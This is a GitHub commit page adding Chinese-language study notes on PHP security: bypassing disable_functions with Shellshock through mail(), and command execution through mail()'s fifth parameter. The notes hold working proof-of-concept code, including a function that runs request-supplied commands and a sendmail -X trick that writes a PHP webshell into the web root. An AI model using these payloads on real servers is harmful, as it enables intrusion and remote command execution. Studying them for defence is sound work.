Skip to content

Commit e5a250e

Browse files
author
unknown
committed
10/8
1 parent 56b1afe commit e5a250e

File tree

4 files changed

+232
-31
lines changed

4 files changed

+232
-31
lines changed

bypass disable_functions.md

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
看一下php manual手册中的定义
2+
3+
```
4+
disable_classes string
5+
本指令可以使你出于安全的理由禁用某些类。用逗号分隔类名。disable_classes 不受安全模式的影响。 本指令只能设置在 php.ini 中。例如不能将其设置在 httpd.conf。
6+
```
7+
php中有一个table存放已定义的函数
8+
disabled_function的原理便是,将函数名从这个table删除。对于绕过disabled_function的话,
9+
总共有几种方式
10+
11+
12+
```
13+
1、加载so文件,模块文件
14+
2、找到生僻的函数,里面带有执行命令
15+
3、一些第三方的漏洞,比如exim、破壳漏洞
16+
```
17+
18+
19+
绕过1: mail函数
20+
21+
参考 https://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html
22+
23+
```
24+
char *sendmail_path = INI_STR("sendmail_path");
25+
char *sendmail_cmd = NULL;
26+
...
27+
if (extra_cmd != NULL) {
28+
spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);
29+
} else {
30+
sendmail_cmd = sendmail_path;
31+
}
32+
...
33+
#ifdef PHP_WIN32
34+
sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC);
35+
#else
36+
/* Since popen() doesn't indicate if the internal fork() doesn't work
37+
* (e.g. the shell can't be executed) we explicitly set it to 0 to be
38+
* sure we don't catch any older errno value. */
39+
errno = 0;
40+
sendmail = popen(sendmail_cmd, "w");
41+
#endif
42+
```
43+
44+
sendmail_path是从php.ini获取过来的,默认是`/usr/sbin/sendmail -t -i`, extra_cmd 是mail函数的第五个参数
45+
46+
47+
extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。 最后调用popen执行senmail_cmd命令.
48+
49+
50+
如果系统默认sh是bash,popen会派生bash进程。而之前的bash破壳(CVE-2014-6271)漏洞,直接导致我们可以利用mail()函数执行任意命令,绕过disable_functions。
51+
52+
> 同样,我们搜索一下php的源码,可以发现,明里调用popen派生进程的php函数还有imap_mail,如果你仅仅通过禁用mail函数来规避这个安全问题,那么imap_mail是可以做替代的。当然,php里还可能有其他地方有调用popen或其他能够派生bash子进程的函数,通过这些地方,都可以通过破壳漏洞执行命令的。
53+
54+
poc:
55+
56+
```
57+
<?php
58+
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
59+
$tmp = tempnam(".","data");
60+
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
61+
// In Safe Mode, the user may only alter environment variableswhose names
62+
// begin with the prefixes supplied by this directive.
63+
// By default, users will only be able to set environment variablesthat
64+
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
65+
// PHP will let the user modify ANY environment variable!
66+
mail("[email protected]","","","","-bv"); // -bv so we don't actuallysend any mail
67+
$output = @file_get_contents($tmp);
68+
@unlink($tmp);
69+
if($output != "") return $output;
70+
else return "No output, or not vuln.";
71+
}
72+
echo shellshock($_REQUEST["cmd"]);
73+
?>
74+
```

parse_url.md

Lines changed: 0 additions & 1 deletion
This file was deleted.

php mail函数.md

Lines changed: 158 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,158 @@
1+
php manual 手册上的介绍
2+
3+
bool mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] )
4+
5+
```
6+
To 目的邮箱地址
7+
Subject 邮箱的主题
8+
Message 邮件的主题部分
9+
Headers 头信息
10+
Parameters 参数设置
11+
```
12+
13+
```
14+
<?php
15+
16+
$subject = 'the subject';
17+
$message = 'hello';
18+
$headers = 'From: [email protected]' . "\r\n" .
19+
'Reply-To: [email protected]' . "\r\n" .
20+
'X-Mailer: PHP/' . phpversion();
21+
22+
mail($to, $subject, $message, $headers);
23+
?>
24+
```
25+
26+
PHP中的mail()函数在一定的条件下可以造成远程代码执行漏洞,mail()函数一共具有5个参数,当第五个参数存在并且我们可控的时候,就会造成代码执行漏洞,这个漏洞最近被RIPS爆出了一个command execution via email in Roundcube 1.2.2,就是由于不正当的使用了mail()函数并且未对参数加以过滤造成的。
27+
28+
29+
30+
这个参数主要的选项有:
31+
```
32+
-O option = value
33+
QueueDirectory = queuedir 选择队列消息
34+
35+
-X logfile
36+
这个参数可以指定一个目录来记录发送邮件时的详细日志情况,我们正式利用这个参数来达到我们的目的。
37+
38+
-f from email
39+
这个参数可以让我们指定我们发送邮件的邮箱地址。
40+
```
41+
42+
现在我们尝试在本地复现出这个漏洞,注意事项:
43+
44+
```
45+
目标系统必须使用函数mail发送邮件,而不是使用SMTP的服务器;
46+
mail函数需要配置实用sendmail系统来进行邮件的发送;
47+
PHP配置中必须关闭safe_mode功能;
48+
必须知道目标服务器的Web根目录
49+
```
50+
51+
test.php
52+
53+
```
54+
55+
$subject = '<?php system($_GET["cmd"]); ?>';
56+
$message = '';
57+
$headers = '';
58+
$options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';
59+
mail($to, $subject, $message, $headers, $options);
60+
```
61+
62+
运行即可再/var/www/html/目录下生成rce.php文件,内容为:
63+
64+
```
65+
32512 <<< To: [email protected]
66+
32512 <<< Subject: <?php system($_GET["cmd"]); ?>
67+
32512 <<< X-PHP-Originating-Script: 0:mail.php
68+
32512 <<<
69+
32512 <<<
70+
32512 <<< [EOF]
71+
32512 === CONNECT [127.0.0.1]
72+
32512 <<< 220 lj ESMTP Sendmail 8.15.2/8.15.2/Debian-3; Sun, 30 Sep 2018 16:32:30 +0800; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1]
73+
32512 >>> EHLO lj
74+
32512 <<< 250-lj Hello localhost [127.0.0.1], pleased to meet you
75+
32512 <<< 250-ENHANCEDSTATUSCODES
76+
32512 <<< 250-PIPELINING
77+
32512 <<< 250-EXPN
78+
32512 <<< 250-VERB
79+
32512 <<< 250-8BITMIME
80+
32512 <<< 250-SIZE
81+
32512 <<< 250-DSN
82+
32512 <<< 250-ETRN
83+
32512 <<< 250-AUTH DIGEST-MD5 CRAM-MD5
84+
32512 <<< 250-DELIVERBY
85+
32512 <<< 250 HELP
86+
32512 >>> MAIL From:<root@lj> SIZE=89 AUTH=root@lj
87+
32512 <<< 250 2.1.0 <root@lj>... Sender ok
88+
32512 >>> RCPT To:<[email protected]>
89+
32512 >>> DATA
90+
32512 <<< 250 2.1.5 <[email protected]>... Recipient ok
91+
32512 <<< 354 Enter mail, end with "." on a line by itself
92+
32512 >>> Received: (from root@localhost)
93+
32512 >>> by lj (8.15.2/8.15.2/Submit) id w8U8WToP032512;
94+
32512 >>> Sun, 30 Sep 2018 16:32:29 +0800
95+
32512 >>> Date: Sun, 30 Sep 2018 16:32:29 +0800
96+
32512 >>> From: root <root@lj>
97+
32512 >>> Message-Id: <201809300832.w8U8WToP032512@lj>
98+
32512 >>> To: [email protected]
99+
32512 >>> Subject: <?php system($_GET["cmd"]); ?>
100+
32512 >>> X-PHP-Originating-Script: 0:mail.php
101+
32512 >>>
102+
32512 >>>
103+
32512 >>> .
104+
32512 <<< 250 2.0.0 w8U8WUsh032770 Message accepted for delivery
105+
32512 >>> QUIT
106+
32512 <<< 221 2.0.0 lj closing connection
107+
```
108+
109+
我们指定好使用mail函数时的五个参数,在第二个参数中放入我们打算写入的内容,第五个参数中指定我们要写入的目录(必须是PHP文件)
110+
111+
截取片段mail.c的源码
112+
```
113+
PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char *extra_cmd TSRMLS_DC)
114+
{
115+
#if (defined PHP_WIN32 || defined NETWARE)
116+
int tsm_err;
117+
char *tsm_errmsg = NULL;
118+
#endif
119+
FILE *sendmail;
120+
int ret;
121+
char *sendmail_path = INI_STR("sendmail_path");
122+
char *sendmail_cmd = NULL;
123+
char *mail_log = INI_STR("mail.log");
124+
char *hdr = headers;
125+
#if PHP_SIGCHILD
126+
void (*sig_handler)() = NULL;
127+
#endif
128+
129+
...
130+
131+
if (extra_cmd != NULL) {
132+
spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);
133+
} else {
134+
sendmail_cmd = sendmail_path;
135+
}
136+
137+
...
138+
139+
#ifdef PHP_WIN32
140+
sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC);
141+
#else
142+
/* Since popen() doesn't indicate if the internal fork() doesn't work
143+
* (e.g. the shell can't be executed) we explicitly set it to 0 to be
144+
* sure we don't catch any older errno value. */
145+
errno = 0;
146+
sendmail = popen(sendmail_cmd, "w");
147+
#endif
148+
if (extra_cmd != NULL) {
149+
efree (sendmail_cmd);
150+
}
151+
```
152+
153+
我们可以看到mail函数的底层实际上是调用sendmail 函数来执行命令的。
154+
155+
156+
PHPMailer < 5.2.18和Roundcube 两个应用都爆出来过mail函数导致的命令执行漏洞。
157+
158+
Roundcube 1.2.2 远程命令执行漏洞分析 https://paper.seebug.org/138/

代码审计圈/other.md

Lines changed: 0 additions & 30 deletions
This file was deleted.

0 commit comments

Comments
 (0)